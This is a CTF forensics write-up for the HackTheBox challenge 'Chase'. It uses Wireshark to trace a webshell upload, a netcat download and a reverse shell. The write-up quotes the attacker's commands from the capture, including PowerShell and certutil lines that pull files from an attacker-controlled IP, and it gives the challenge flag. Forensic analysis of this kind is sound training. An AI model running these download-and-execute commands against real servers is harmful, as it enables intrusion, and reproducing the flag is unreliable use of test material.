Chase
When we download the file for the challenge we can see that it is a PCAPNG file aka a āPacket Capture Next Generationā file which has information about packets captured on the network as well as the data transmited. We can use a tool like Wireshark to analyze such packets. When we open this file we are presented with this view.
In the middle you can see seven columns with various information like source, destination, info and some other things. Each line is one Frame and is color coded to the match the type of content inside. You can go to View > Coloring Rules to see what each color means. First thing we notices is that there are only two IP Addresses occuring in all of the output. This indicates that we have communication between two devices in front of us.
To get a rough idea of what is being transmitted we can use the āProtocol Hierarchy Statisticsā tool which can be found under Statistics > Protocol Hierarchy.
As you can see the only Protocols used which are interesting to us are IPv4, TCP and HTTP. There is a large amount of HTTP traffic which we should take a look at. To do that I simply rigth-clicked on the first frame in the list, then on Follow and then on Follow TCP Stream.
In the future I will be simply using the shortcut Ctrl + Alt + Shift + T. When we click this windows we are presented with the HTTP communication between the client (in red, IP: 22.22.22.5) and the server (in blue, IP:22.22.22.7). I looked through it and found this part where the client uses the HTTP POST Request to upload a malicous Visual Basic WebShell. We can also see that the directory the client used to upload the shell is /upload.aspx?operation=upload. We now know that the server is running ASP.NET, a web framework from Microsoft. And since .NET applications can execute VB.NET code the shell the client uploads should execute as expected.
We can also see that the filename the client used to upload the file: cmd.aspx (itās in the top half in the picture). If we scroll we can see the client downloading Netcat with the help of this script and the Certutil command on the target machine.
Full Output
You can find the whole TCP Stream here: Chase - TCP Stream 0
At the end of this TCP stream you can see how the client sent a request to connect netcat to a netcat listener he set up on his machine. Since this is the first TCP stream captured on the network it its index is 0. You can also see that in the window header. When you close the TCP stream window you can also see that Wireshark automatically applied a filter to only show packets from the first stream (with index 0). Simply edit this number to change to a different TCP stream.
The again follow the TCP stream or simply press Ctrl + Alt + Shift + T. You will see how the server downloads Netcat.
If the client is red... why is he downloading Netcat?
The client in this scenario is always the person/device that is asking for something from the other device. The reason is HTTP. Since HTTP is a client-server based protocol there always has to be a client and a server. Who is the client and who is the server is simply determined by who is asking for something from whom. In this case the āWebsiteā is asking for the Netcat file from the āAttackerā. This makes the āWebsiteā in this scenario the client and the attacker the server.
You can also switch between TCP Streams by changing the āStreamā field in the bottom left of the āFollow TCP Streamā window.
Strangely the TCP streams with indeces 1 and 2 are nearly the same. Both download the Netcat binary but the User Agents are different. The first User-Agent is Microsoft-CryptoAPI and the second is the less confusing CertUtil URL Agent. From the little research I did the CryptoAPI I found that it is used as a Web Crawler or a bot. In the end it doesnāt really matter since all that matters is that Netcat was transfered.
Looking at TCP stream 3 we can see the commands the attacker used to enumerate the webserver.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool
---------------------------------OUTPUT-OMITTED---------------------------------
c:\windows\system32\inetsrv>cd /
cd /
c:\>powershell -ep bypass -c Invoke-WebRequest -Uri http://22.22.22.7/JBKEE62NIFXF6ODMOUZV6NZTMFGV6URQMNMH2IBA.txt -OutFile c:\users\public\file.txt
powershell -ep bypass -c Invoke-WebRequest -Uri http://22.22.22.7/JBKEE62NIFXF6ODMOUZV6NZTMFGV6URQMNMH2IBA.txt -OutFile c:\users\public\file.txt
The term 'Invoke-WebRequest' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:18
+ Invoke-WebRequest <<<< -Uri http://22.22.22.7/JBKEE62NIFXF6ODMOUZV6NZTMFGV6U
RQMNMH2IBA.txt -OutFile c:\users\public\file.txt
+ CategoryInfo : ObjectNotFound: (Invoke-WebRequest:String) [], C
ommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
c:\>certutil -urlcache -split -f http://22.22.22.7/JBKEE62NIFXF6ODMOUZV6NZTMFGV6URQMNMH2IBA.txt c:\users\public\
certutil -urlcache -split -f http://22.22.22.7/JBKEE62NIFXF6ODMOUZV6NZTMFGV6URQMNMH2IBA.txt c:\users\public\
**** Online ****
0000 ...
000b
CertUtil: -URLCache command FAILED: 0x80070003 (WIN32: 3)
CertUtil: The system cannot find the path specified.
Full Output
You can find the whole TCP Stream here: Chase - TCP Stream 3
Towards the end we can see that the attacler is trying to download the JBKEE62NIFXF6ODMOUZV6NZTMFGV6URQMNMH2IBA.txt file. The next TCP sream seems to be ābrokenā and we can skip it. Inspecting the next TCP Stream (index 5) we can actually see the files contents.
GET /JBKEE62NIFXF6ODMOUZV6NZTMFGV6URQMNMH2IBA.txt HTTP/1.1
Accept: */*
User-Agent: CertUtil URL Agent
Host: 22.22.22.7
Cache-Control: no-cache
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.8.6
Date: Sun, 01 Nov 2020 17:26:14 GMT
Content-type: text/plain
Content-Length: 11
Last-Modified: Sun, 01 Nov 2020 17:24:19 GMT
Hey there!
It just says Hey there!ā¦ I was a bit confused since there were no other packets to inspect really. So I took the Netcat binary the attacker downloaded and inspected it a bit. To do that simply go to File > Export Objects > HTTP.
Here we can see and save all the HTTP objects that were tranfered. I saved the nc64.exe file to see if there is something special about it but as far as I could tell this is just a normal Netcat binary. After a lot of searching and trying to decode random strings with Base64 I searched for a writeup(https://josh-vr.medium.com/hackthebox-chase-forensics-challenge-writeup-eebf72d6051f) and found out that I was supposed to take the name of the .txt file we found and decode it with the magic option in CyberChef (link). In the end it was Base32 and Cyberchef just managed to figure it out. Unlucky
but I still learned a few things and in the future I will always use the magic option from Cyberchef.
Flag
HTB{MAn_8lu3_73aM_R0cX}